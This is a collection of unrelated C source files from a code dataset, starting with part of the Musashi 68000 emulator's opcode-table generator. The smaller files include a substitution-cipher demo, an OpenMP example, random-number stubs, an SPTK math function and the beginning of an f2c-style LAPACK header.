if(strcmp(op->name, "jsr") == 0)
return op->cycles[cpu_type] + g_jsr_cycle_table[ea_mode];
if(strcmp(op->name, "lea") == 0)
return op->cycles[cpu_type] + g_lea_cycle_table[ea_mode];
if(strcmp(op->name, "pea") == 0)
return op->cycles[cpu_type] + g_pea_cycle_table[ea_mode];
if(strcmp(op->name, "movem") == 0)
return op->cycles[cpu_type] + g_movem_cycle_table[ea_mode];
}
return op->cycles[cpu_type] + g_ea_cycle_table[ea_mode][cpu_type][size];
}
/* Find an opcode in the opcode handler list */
static opcode_struct* find_opcode(char* name, int size, char* spec_proc, char* spec_ea)
{
opcode_struct* op;
for(op = g_opcode_input_table;op->name != NULL;op++)
{
if( strcmp(name, op->name) == 0 &&
(size == op->size) &&
strcmp(spec_proc, op->spec_proc) == 0 &&
strcmp(spec_ea, op->spec_ea) == 0)
return op;
}
return NULL;
}
#ifdef UNUSED_FUNCTION
/* Specifically find the illegal opcode in the list */
opcode_struct* find_illegal_opcode(void)
{
opcode_struct* op;
for(op = g_opcode_input_table;op->name != NULL;op++)
{
if(strcmp(op->name, "illegal") == 0)
return op;
}
return NULL;
}
#endif
/* Parse an opcode handler name */
static int extract_opcode_info(char* src, char* name, int* size, char* spec_proc, char* spec_ea)
{
char* ptr = strstr(src, ID_OPHANDLER_NAME);
if(ptr == NULL)
return 0;
ptr += strlen(ID_OPHANDLER_NAME) + 1;
ptr += check_strcncpy(name, ptr, ',', MAX_NAME_LENGTH);
if(*ptr != ',') return 0;
ptr++;
ptr += skip_spaces(ptr);
*size = atoi(ptr);
ptr = strstr(ptr, ",");
if(ptr == NULL) return 0;
ptr++;
ptr += skip_spaces(ptr);
ptr += check_strcncpy(spec_proc, ptr, ',', MAX_SPEC_PROC_LENGTH);
if(*ptr != ',') return 0;
ptr++;
ptr += skip_spaces(ptr);
ptr += check_strcncpy(spec_ea, ptr, ')', MAX_SPEC_EA_LENGTH);
if(*ptr != ')') return 0;
ptr++;
ptr += skip_spaces(ptr);
return 1;
}
/* Add a search/replace pair to a replace structure */
static void add_replace_string(replace_struct* replace, const char* search_str, const char* replace_str)
{
if(replace->length >= MAX_REPLACE_LENGTH)
error_exit("overflow in replace structure");
strcpy(replace->replace[replace->length][0], search_str);
strcpy(replace->replace[replace->length++][1], replace_str);
}
/* Write a function body while replacing any selected strings */
static void write_body(FILE* filep, body_struct* body, replace_struct* replace)
{
int i;
int j;
char* ptr;
char output[MAX_LINE_LENGTH+1];
char temp_buff[MAX_LINE_LENGTH+1];
int found;
for(i=0;i<body->length;i++)
{
strcpy(output, body->body[i]);
/* Check for the base directive header */
if(strstr(output, ID_BASE) != NULL)
{
/* Search for any text we need to replace */
found = 0;
for(j=0;j<replace->length;j++)
{
ptr = strstr(output, replace->replace[j][0]);
if(ptr)
{
/* We found something to replace */
found = 1;
strcpy(temp_buff, ptr+strlen(replace->replace[j][0]));
strcpy(ptr, replace->replace[j][1]);
strcat(ptr, temp_buff);
}
}
/* Found a directive with no matching replace string */
if(!found)
error_exit("Unknown " ID_BASE " directive [%s]", output);
}
fprintf(filep, "%s\n", output);
}
fprintf(filep, "\n\n");
}
/* Generate a base function name from an opcode struct */
static void get_base_name(char* base_name, opcode_struct* op)
{
sprintf(base_name, "m68k_op_%s", op->name);
if(op->size > 0)
sprintf(base_name+strlen(base_name), "_%d", op->size);
if(strcmp(op->spec_proc, UNSPECIFIED) != 0)
sprintf(base_name+strlen(base_name), "_%s", op->spec_proc);
if(strcmp(op->spec_ea, UNSPECIFIED) != 0)
sprintf(base_name+strlen(base_name), "_%s", op->spec_ea);
}
/* Write the name of an opcode handler function */
static void write_function_name(FILE* filep, char* base_name)
{
fprintf(filep, "static void %s(m68ki_cpu_core *m68k)\n", base_name);
}
static void add_opcode_output_table_entry(opcode_struct* op, char* name)
{
opcode_struct* ptr;
if(g_opcode_output_table_length > MAX_OPCODE_OUTPUT_TABLE_LENGTH)
error_exit("Opcode output table overflow");
ptr = g_opcode_output_table + g_opcode_output_table_length++;
*ptr = *op;
strcpy(ptr->name, name);
ptr->bits = num_bits(ptr->op_mask);
}
/*
* Comparison function for qsort()
* For entries with an equal number of set bits in
* the mask compare the match values
*/
static int DECL_SPEC compare_nof_true_bits(const void* aptr, const void* bptr)
{
const opcode_struct *a = (const opcode_struct *)aptr, *b = (const opcode_struct *)bptr;
if(a->bits != b->bits)
return a->bits - b->bits;
if(a->op_mask != b->op_mask)
return a->op_mask - b->op_mask;
return a->op_match - b->op_match;
}
static void print_opcode_output_table(FILE* filep)
{
int i;
qsort((void *)g_opcode_output_table, g_opcode_output_table_length, sizeof(g_opcode_output_table[0]), compare_nof_true_bits);
for(i=0;i<g_opcode_output_table_length;i++)
write_table_entry(filep, g_opcode_output_table+i);
}
/* Write an entry in the opcode handler table */
static void write_table_entry(FILE* filep, opcode_struct* op)
{
int i;
fprintf(filep, "\t{%-28s, 0x%04x, 0x%04x, {",
op->name, op->op_mask, op->op_match);
for(i=0;i<NUM_CPUS;i++)
{
fprintf(filep, "%3d", op->cycles[i]);
if(i < NUM_CPUS-1)
fprintf(filep, ", ");
}
fprintf(filep, "}},\n");
}
/* Fill out an opcode struct with a specific addressing mode of the source opcode struct */
static void set_opcode_struct(opcode_struct* src, opcode_struct* dst, int ea_mode)
{
int i;
*dst = *src;
for(i=0;i<NUM_CPUS;i++)
dst->cycles[i] = get_oper_cycles(dst, ea_mode, i);
if(strcmp(dst->spec_ea, UNSPECIFIED) == 0 && ea_mode != EA_MODE_NONE)
sprintf(dst->spec_ea, "%s", g_ea_info_table[ea_mode].fname_add);
dst->op_mask |= g_ea_info_table[ea_mode].mask_add;
dst->op_match |= g_ea_info_table[ea_mode].match_add;
}
/* Generate a final opcode handler from the provided data */
static void generate_opcode_handler(FILE* filep, body_struct* body, replace_struct* replace, opcode_struct* opinfo, int ea_mode)
{
char str[MAX_LINE_LENGTH+1];
opcode_struct* op = (opcode_struct *)malloc(sizeof(opcode_struct));
/* Set the opcode structure and write the tables, prototypes, etc */
set_opcode_struct(opinfo, op, ea_mode);
get_base_name(str, op);
add_opcode_output_table_entry(op, str);
write_function_name(filep, str);
/* Add any replace strings needed */
if(ea_mode != EA_MODE_NONE)
{
sprintf(str, "EA_%s_8(m68k)", g_ea_info_table[ea_mode].ea_add);
add_replace_string(replace, ID_OPHANDLER_EA_AY_8, str);
sprintf(str, "EA_%s_16(m68k)", g_ea_info_table[ea_mode].ea_add);
add_replace_string(replace, ID_OPHANDLER_EA_AY_16, str);
sprintf(str, "EA_%s_32(m68k)", g_ea_info_table[ea_mode].ea_add);
add_replace_string(replace, ID_OPHANDLER_EA_AY_32, str);
sprintf(str, "OPER_%s_8(m68k)", g_ea_info_table[ea_mode].ea_add);
add_replace_string(replace, ID_OPHANDLER_OPER_AY_8, str);
sprintf(str, "OPER_%s_16(m68k)", g_ea_info_table[ea_mode].ea_add);
add_replace_string(replace, ID_OPHANDLER_OPER_AY_16, str);
sprintf(str, "OPER_%s_32(m68k)", g_ea_info_table[ea_mode].ea_add);
add_replace_string(replace, ID_OPHANDLER_OPER_AY_32, str);
}
/* Now write the function body with the selected replace strings */
write_body(filep, body, replace);
g_num_functions++;
free(op);
}
/* Generate opcode variants based on available addressing modes */
static void generate_opcode_ea_variants(FILE* filep, body_struct* body, replace_struct* replace, opcode_struct* op)
{
int old_length = replace->length;
/* No ea modes available for this opcode */
if(HAS_NO_EA_MODE(op->ea_allowed))
{
generate_opcode_handler(filep, body, replace, op, EA_MODE_NONE);
return;
}
/* Check for and create specific opcodes for each available addressing mode */
if(HAS_EA_AI(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_AI);
replace->length = old_length;
if(HAS_EA_PI(op->ea_allowed))
{
generate_opcode_handler(filep, body, replace, op, EA_MODE_PI);
replace->length = old_length;
if(op->size == 8)
generate_opcode_handler(filep, body, replace, op, EA_MODE_PI7);
}
replace->length = old_length;
if(HAS_EA_PD(op->ea_allowed))
{
generate_opcode_handler(filep, body, replace, op, EA_MODE_PD);
replace->length = old_length;
if(op->size == 8)
generate_opcode_handler(filep, body, replace, op, EA_MODE_PD7);
}
replace->length = old_length;
if(HAS_EA_DI(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_DI);
replace->length = old_length;
if(HAS_EA_IX(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_IX);
replace->length = old_length;
if(HAS_EA_AW(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_AW);
replace->length = old_length;
if(HAS_EA_AL(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_AL);
replace->length = old_length;
if(HAS_EA_PCDI(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_PCDI);
replace->length = old_length;
if(HAS_EA_PCIX(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_PCIX);
replace->length = old_length;
if(HAS_EA_I(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_I);
replace->length = old_length;
}
/* Generate variants of condition code opcodes */
static void generate_opcode_cc_variants(FILE* filep, body_struct* body, replace_struct* replace, opcode_struct* op_in, int offset)
{
char repl[20];
char replnot[20];
int i;
int old_length = replace->length;
opcode_struct* op = (opcode_struct *)malloc(sizeof(opcode_struct));
*op = *op_in;
op->op_mask |= 0x0f00;
/* Do all condition codes except t and f */
for(i=2;i<16;i++)
{
/* Add replace strings for this condition code */
sprintf(repl, "COND_%s(m68k)", g_cc_table[i][1]);
sprintf(replnot, "COND_NOT_%s(m68k)", g_cc_table[i][1]);
add_replace_string(replace, ID_OPHANDLER_CC, repl);
add_replace_string(replace, ID_OPHANDLER_NOT_CC, replnot);
/* Set the new opcode info */
strcpy(op->name+offset, g_cc_table[i][0]);
op->op_match = (op->op_match & 0xf0ff) | (i<<8);
/* Generate all opcode variants for this modified opcode */
generate_opcode_ea_variants(filep, body, replace, op);
/* Remove the above replace strings */
replace->length = old_length;
}
free(op);
}
/* Process the opcode handlers section of the input file */
static void process_opcode_handlers(FILE* filep)
{
FILE* input_file = g_input_file;
char func_name[MAX_LINE_LENGTH+1];
char oper_name[MAX_LINE_LENGTH+1];
int oper_size = 0;
char oper_spec_proc[MAX_LINE_LENGTH+1];
char oper_spec_ea[MAX_LINE_LENGTH+1];
opcode_struct* opinfo;
replace_struct* replace = (replace_struct*)malloc(sizeof(replace_struct));
body_struct* body = (body_struct*)malloc(sizeof(body_struct));
for(;;)
{
/* Find the first line of the function */
func_name[0] = 0;
while(strstr(func_name, ID_OPHANDLER_NAME) == NULL)
{
if(strcmp(func_name, ID_INPUT_SEPARATOR) == 0)
{
free(replace);
free(body);
return; /* all done */
}
if(fgetline(func_name, MAX_LINE_LENGTH, input_file) < 0)
error_exit("Premature end of file when getting function name");
}
/* Get the rest of the function */
for(body->length=0;;body->length++)
{
if(body->length > MAX_BODY_LENGTH)
error_exit("Function too long");
if(fgetline(body->body[body->length], MAX_LINE_LENGTH, input_file) < 0)
error_exit("Premature end of file when getting function body");
if(body->body[body->length][0] == '}')
{
body->length++;
break;
}
}
g_num_primitives++;
/* Extract the function name information */
if(!extract_opcode_info(func_name, oper_name, &oper_size, oper_spec_proc, oper_spec_ea))
error_exit("Invalid " ID_OPHANDLER_NAME " format");
/* Find the corresponding table entry */
opinfo = find_opcode(oper_name, oper_size, oper_spec_proc, oper_spec_ea);
if(opinfo == NULL)
error_exit("Unable to find matching table entry for %s", func_name);
replace->length = 0;
/* Generate opcode variants */
if(strcmp(opinfo->name, "bcc") == 0 || strcmp(opinfo->name, "scc") == 0)
generate_opcode_cc_variants(filep, body, replace, opinfo, 1);
else if(strcmp(opinfo->name, "dbcc") == 0)
generate_opcode_cc_variants(filep, body, replace, opinfo, 2);
else if(strcmp(opinfo->name, "trapcc") == 0)
generate_opcode_cc_variants(filep, body, replace, opinfo, 4);
else
generate_opcode_ea_variants(filep, body, replace, opinfo);
}
free(replace);
free(body);
}
/* Populate the opcode handler table from the input file */
static void populate_table(void)
{
char* ptr;
char bitpattern[17];
opcode_struct* op;
char buff[MAX_LINE_LENGTH];
int i;
int temp;
buff[0] = 0;
/* Find the start of the table */
while(strcmp(buff, ID_TABLE_START) != 0)
if(fgetline(buff, MAX_LINE_LENGTH, g_input_file) < 0)
error_exit("(table_start) Premature EOF while reading table");
/* Process the entire table */
for(op = g_opcode_input_table;;op++)
{
if(fgetline(buff, MAX_LINE_LENGTH, g_input_file) < 0)
error_exit("(inline) Premature EOF while reading table");
if(strlen(buff) == 0)
continue;
/* We finish when we find an input separator */
if(strcmp(buff, ID_INPUT_SEPARATOR) == 0)
break;
/* Extract the info from the table */
ptr = buff;
/* Name */
ptr += skip_spaces(ptr);
ptr += check_strsncpy(op->name, ptr, MAX_NAME_LENGTH);
/* Size */
ptr += skip_spaces(ptr);
ptr += check_atoi(ptr, &temp);
op->size = (unsigned char)temp;
/* Special processing */
ptr += skip_spaces(ptr);
ptr += check_strsncpy(op->spec_proc, ptr, MAX_SPEC_PROC_LENGTH);
/* Specified EA Mode */
ptr += skip_spaces(ptr);
ptr += check_strsncpy(op->spec_ea, ptr, MAX_SPEC_EA_LENGTH);
/* Bit Pattern (more processing later) */
ptr += skip_spaces(ptr);
ptr += check_strsncpy(bitpattern, ptr, 17);
/* Allowed Addressing Mode List */
ptr += skip_spaces(ptr);
ptr += check_strsncpy(op->ea_allowed, ptr, EA_ALLOWED_LENGTH);
/* CPU operating mode (U = user or supervisor, S = supervisor only */
ptr += skip_spaces(ptr);
for(i=0;i<NUM_CPUS;i++)
{
op->cpu_mode[i] = *ptr++;
ptr += skip_spaces(ptr);
}
/* Allowed CPUs for this instruction */
for(i=0;i<NUM_CPUS;i++)
{
ptr += skip_spaces(ptr);
if(*ptr == UNSPECIFIED_CH)
{
op->cpus[i] = UNSPECIFIED_CH;
op->cycles[i] = 0;
ptr++;
}
else
{
op->cpus[i] = '0' + i;
ptr += check_atoi(ptr, &temp);
op->cycles[i] = (unsigned char)temp;
}
}
/* generate mask and match from bitpattern */
op->op_mask = 0;
op->op_match = 0;
for(i=0;i<16;i++)
{
op->op_mask |= (bitpattern[i] != '.') << (15-i);
op->op_match |= (bitpattern[i] == '1') << (15-i);
}
}
/* Terminate the list */
op->name[0] = 0;
}
/* Read a header or footer insert from the input file */
static void read_insert(char* insert)
{
char* ptr = insert;
char* overflow = insert + MAX_INSERT_LENGTH - MAX_LINE_LENGTH;
int length;
char* first_blank = NULL;
first_blank = NULL;
/* Skip any leading blank lines */
for(length = 0;length == 0;length = fgetline(ptr, MAX_LINE_LENGTH, g_input_file))
if(ptr >= overflow)
error_exit("Buffer overflow reading inserts");
if(length < 0)
error_exit("Premature EOF while reading inserts");
/* Advance and append newline */
ptr += length;
strcpy(ptr++, "\n");
/* Read until next separator */
for(;;)
{
/* Read a new line */
if(ptr >= overflow)
error_exit("Buffer overflow reading inserts");
if((length = fgetline(ptr, MAX_LINE_LENGTH, g_input_file)) < 0)
error_exit("Premature EOF while reading inserts");
/* Stop if we read a separator */
if(strcmp(ptr, ID_INPUT_SEPARATOR) == 0)
break;
/* keep track in case there are trailing blanks */
if(length == 0)
{
if(first_blank == NULL)
first_blank = ptr;
}
else
first_blank = NULL;
/* Advance and append newline */
ptr += length;
strcpy(ptr++, "\n");
}
/* kill any trailing blank lines */
if(first_blank)
ptr = first_blank;
*ptr++ = 0;
}
/* ======================================================================== */
/* ============================= MAIN FUNCTION ============================ */
/* ======================================================================== */
int main(int argc, char *argv[])
{
/* File stuff */
char output_path[M68K_MAX_DIR] = "";
char filename[M68K_MAX_PATH];
/* Section identifier */
char section_id[MAX_LINE_LENGTH+1];
/* Inserts */
char temp_insert[MAX_INSERT_LENGTH+1];
char prototype_footer_insert[MAX_INSERT_LENGTH+1];
char table_header_insert[MAX_INSERT_LENGTH+1];
char table_footer_insert[MAX_INSERT_LENGTH+1];
char ophandler_header_insert[MAX_INSERT_LENGTH+1];
char ophandler_footer_insert[MAX_INSERT_LENGTH+1];
/* Flags if we've processed certain parts already */
int prototype_header_read = 0;
int prototype_footer_read = 0;
int table_header_read = 0;
int table_footer_read = 0;
int ophandler_header_read = 0;
int ophandler_footer_read = 0;
int table_body_read = 0;
int ophandler_body_read = 0;
printf("\n\tMusashi v%s 68000, 68008, 68010, 68EC020, 68020, 68EC030, 68030, 68EC040, 68040 emulator\n", g_version);
printf("\tCopyright Karl Stenerud\n\n");
/* Check if output path and source for the input file are given */
if(argc > 1)
{
char *ptr;
strcpy(output_path, argv[1]);
for(ptr = strchr(output_path, '\\'); ptr; ptr = strchr(ptr, '\\'))
*ptr = '/';
#if !(defined(__DECC) && defined(VMS))
if(output_path[strlen(output_path)-1] != '/')
strcat(output_path, "/");
#endif
}
strcpy(g_input_filename, (argc > 2) ? argv[2] : FILENAME_INPUT);
#if defined(__DECC) && defined(VMS)
/* Open the files we need */
sprintf(filename, "%s%s", output_path, FILENAME_PROTOTYPE);
if((g_prototype_file = fopen(filename, "w")) == NULL)
perror_exit("Unable to create prototype file (%s)\n", filename);
sprintf(filename, "%s%s", output_path, FILENAME_TABLE);
if((g_table_file = fopen(filename, "w")) == NULL)
perror_exit("Unable to create table file (%s)\n", filename);
if((g_input_file=fopen(g_input_filename, "r")) == NULL)
perror_exit("can't open %s for input", g_input_filename);
#else
/* Open the files we need */
sprintf(filename, "%s%s", output_path, FILENAME_PROTOTYPE);
if((g_prototype_file = fopen(filename, "wt")) == NULL)
perror_exit("Unable to create prototype file (%s)\n", filename);
sprintf(filename, "%s%s", output_path, FILENAME_TABLE);
if((g_table_file = fopen(filename, "wt")) == NULL)
perror_exit("Unable to create table file (%s)\n", filename);
if((g_input_file=fopen(g_input_filename, "rt")) == NULL)
perror_exit("can't open %s for input", g_input_filename);
#endif
/* Get to the first section of the input file */
section_id[0] = 0;
while(strcmp(section_id, ID_INPUT_SEPARATOR) != 0)
if(fgetline(section_id, MAX_LINE_LENGTH, g_input_file) < 0)
error_exit("Premature EOF while reading input file");
/* Now process all sections */
for(;;)
{
if(fgetline(section_id, MAX_LINE_LENGTH, g_input_file) < 0)
error_exit("Premature EOF while reading input file");
if(strcmp(section_id, ID_PROTOTYPE_HEADER) == 0)
{
if(prototype_header_read)
error_exit("Duplicate prototype header");
read_insert(temp_insert);
fprintf(g_prototype_file, "%s\n\n", temp_insert);
prototype_header_read = 1;
}
else if(strcmp(section_id, ID_TABLE_HEADER) == 0)
{
if(table_header_read)
error_exit("Duplicate table header");
read_insert(table_header_insert);
table_header_read = 1;
}
else if(strcmp(section_id, ID_OPHANDLER_HEADER) == 0)
{
if(ophandler_header_read)
error_exit("Duplicate opcode handler header");
read_insert(ophandler_header_insert);
ophandler_header_read = 1;
}
else if(strcmp(section_id, ID_PROTOTYPE_FOOTER) == 0)
{
if(prototype_footer_read)
error_exit("Duplicate prototype footer");
read_insert(prototype_footer_insert);
prototype_footer_read = 1;
}
else if(strcmp(section_id, ID_TABLE_FOOTER) == 0)
{
if(table_footer_read)
error_exit("Duplicate table footer");
read_insert(table_footer_insert);
table_footer_read = 1;
}
else if(strcmp(section_id, ID_OPHANDLER_FOOTER) == 0)
{
if(ophandler_footer_read)
error_exit("Duplicate opcode handler footer");
read_insert(ophandler_footer_insert);
ophandler_footer_read = 1;
}
else if(strcmp(section_id, ID_TABLE_BODY) == 0)
{
if(!prototype_header_read)
error_exit("Table body encountered before prototype header");
if(!table_header_read)
error_exit("Table body encountered before table header");
if(!ophandler_header_read)
error_exit("Table body encountered before opcode handler header");
if(table_body_read)
error_exit("Duplicate table body");
populate_table();
table_body_read = 1;
}
else if(strcmp(section_id, ID_OPHANDLER_BODY) == 0)
{
if(!prototype_header_read)
error_exit("Opcode handlers encountered before prototype header");
if(!table_header_read)
error_exit("Opcode handlers encountered before table header");
if(!ophandler_header_read)
error_exit("Opcode handlers encountered before opcode handler header");
if(!table_body_read)
error_exit("Opcode handlers encountered before table body");
if(ophandler_body_read)
error_exit("Duplicate opcode handler section");
fprintf(g_table_file, "%s\n\n", ophandler_header_insert);
process_opcode_handlers(g_table_file);
fprintf(g_table_file, "%s\n\n", ophandler_footer_insert);
ophandler_body_read = 1;
}
else if(strcmp(section_id, ID_END) == 0)
{
/* End of input file. Do a sanity check and then write footers */
if(!prototype_header_read)
error_exit("Missing prototype header");
if(!prototype_footer_read)
error_exit("Missing prototype footer");
if(!table_header_read)
error_exit("Missing table header");
if(!table_footer_read)
error_exit("Missing table footer");
if(!table_body_read)
error_exit("Missing table body");
if(!ophandler_header_read)
error_exit("Missing opcode handler header");
if(!ophandler_footer_read)
error_exit("Missing opcode handler footer");
if(!ophandler_body_read)
error_exit("Missing opcode handler body");
fprintf(g_table_file, "%s\n\n", table_header_insert);
print_opcode_output_table(g_table_file);
fprintf(g_table_file, "%s\n\n", table_footer_insert);
fprintf(g_prototype_file, "%s\n\n", prototype_footer_insert);
break;
}
else
{
error_exit("Unknown section identifier: %s", section_id);
}
}
/* Close all files and exit */
fclose(g_prototype_file);
fclose(g_table_file);
fclose(g_input_file);
printf("Generated %d opcode handlers from %d primitives\n", g_num_functions, g_num_primitives);
return 0;
}
/* ======================================================================== */
/* ============================== END OF FILE ============================= */
/* ======================================================================== */
|
the_stack_data/38111.c
|
// No ps2io module functions.
|
the_stack_data/23575693.c
|
/*
Programa: definicao .c
Autor: Aluno Programador Brilhante
Data: dd/mm/aaaa
Descri ̧c~ao : Este programa mostra exemplo de definicao de v
ariaveis.
*/
#include <stdio.h>
int main (void) {
int i;
float r;
double dr;
char c;
i = 10;
r = 1.0;
dr = 3e3;
c = 'a';
printf("i = %d\n", i);
printf("r = %f\n", r);
printf("df = %f\n", dr);
printf("c = %c\n", c);
return 0;
}
|
the_stack_data/40763251.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#define ALPHABET_SIZE 26
// prototypes
void encode(char *p, char *e);
void decode(char *e, char *p);
int search(char *s, char c);
// encryption table
char encoded[] =
"LjJHIbwGXWvgAthMzrxVuPcBToksKZmeQNlfnSyYaRCEqFiODpdU";
int main()
{
char plain[] = "I love apples";
char enc[15];
// initialize enc with zeroes
memset(enc, 0, 15);
// encode and show
encode(plain, enc);
printf("\n\tPlain text...: %s\n", plain);
printf("\tEncoded text.: %s\n", enc);
// decode back and show
decode(enc, plain);
printf("\n\tEncoded text.: %s\n", enc);
printf("\tPlain text...: %s\n\n", plain);
return EXIT_SUCCESS;
}
void encode(char *p, char *e)
{
int len = strlen(p);
register size_t i;
for (i = 0; i < len; ++i)
{
char c = p[i];
if (c >= 'A' && c <= 'Z')
{
e[i] = encoded[c - 'A'];
} else if (c >= 'a' && c <= 'z')
{
e[i] = encoded[ALPHABET_SIZE + c - 'a'];
} else
{
e[i] = c;
}
}
encoded[i] = '\0';
}
void decode(char *e, char *p)
{
int len = strlen(e);
register size_t i, j;
for (i = 0; i < len; ++i)
{
char c = e[i];
// only alphabetic are decoded
if (!isalpha(c))
{
p[i] = c;
continue;
}
// search encoded
j = 0;
while (encoded[j] != c) j++;
// decode
if (0 <= j && j < ALPHABET_SIZE)
{
p[i] = j + 'A';
} else if (ALPHABET_SIZE <= j && j < 2*ALPHABET_SIZE)
{
p[i] = j - ALPHABET_SIZE + 'a';
}
}
}
|
the_stack_data/737056.c
|
#include <stdlib.h>
#include <stdio.h>
#include <omp.h>
int main()
{
double result = 0;
#pragma omp parallel reduction(+:result)
{
int rank = omp_get_thread_num();
result += rank;
}
printf("Result: %f\n", result);
}
|
the_stack_data/39299.c
|
//
// openssl_utils.c
// SwiftTLS
//
// Created by Nico Schmidt on 06.06.15.
// Copyright (c) 2015 Nico Schmidt. All rights reserved.
//
#include <stdlib.h>
int RAND_bytes(unsigned char *buf,int num)
{
arc4random_buf(buf, num);
return 1;
}
int RAND_pseudo_bytes(unsigned char *buf,int num)
{
return RAND_bytes(buf, num);
}
void RAND_add(const void *buf,int num,double entropy)
{
}
int CRYPTO_mem_ctrl(int mode)
{
return 0;
}
|
the_stack_data/131728.c
|
/* ----------------------------------------------------------------- */
/* The Speech Signal Processing Toolkit (SPTK) */
/* developed by SPTK Working Group */
/* http://sp-tk.sourceforge.net/ */
/* ----------------------------------------------------------------- */
/* */
/* Copyright (c) 1984-2007 Tokyo Institute of Technology */
/* Interdisciplinary Graduate School of */
/* Science and Engineering */
/* */
/* 1996-2017 Nagoya Institute of Technology */
/* Department of Computer Science */
/* */
/* All rights reserved. */
/* */
/* Redistribution and use in source and binary forms, with or */
/* without modification, are permitted provided that the following */
/* conditions are met: */
/* */
/* - Redistributions of source code must retain the above copyright */
/* notice, this list of conditions and the following disclaimer. */
/* - Redistributions in binary form must reproduce the above */
/* copyright notice, this list of conditions and the following */
/* disclaimer in the documentation and/or other materials provided */
/* with the distribution. */
/* - Neither the name of the SPTK working group nor the names of its */
/* contributors may be used to endorse or promote products derived */
/* from this software without specific prior written permission. */
/* */
/* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND */
/* CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, */
/* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF */
/* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE */
/* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS */
/* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, */
/* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED */
/* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, */
/* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON */
/* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, */
/* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY */
/* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE */
/* POSSIBILITY OF SUCH DAMAGE. */
/* ----------------------------------------------------------------- */
/***************************************************************
$Id$
Generalized Exponential Function (real argument)
double gexp(r, x)
double r : gamma
double x : argument
*****************************************************************/
#include <math.h>
double gexp(const double r, const double x)
{
if (r == 0.0) {
return (exp(x));
} else {
if (r < 0.0)
return (pow(1 / (1 + r * x), -1 / r));
else
return (pow(1 + r * x, 1 / r));
}
}
|
the_stack_data/691861.c
|
#define CONCAT(a, b) a##b
#define CONCAT2(a, b) CONCAT(a, b)
#define STATIC_ASSERT(condition) \
int CONCAT2(some_array, __LINE__)[(condition) ? 1 : -1]
// The result of boolean operators is always an int
STATIC_ASSERT(sizeof(1.0 && 1.0)==sizeof(int));
STATIC_ASSERT(sizeof(1.0 || 1.0)==sizeof(int));
STATIC_ASSERT(sizeof(!1.0)==sizeof(int));
int main()
{
}
|
the_stack_data/150141823.c
|
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
int main(int argc, char const *argv[])
{
int i;
for(i = 0; i < 9999999999999999; i++) {
printf("Noob%d\n", i);
}
return 0;
}
|
the_stack_data/179831148.c
|
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
#ifdef _MSC_VER
static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;}
static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;}
static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;}
static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;}
#else
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#endif
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
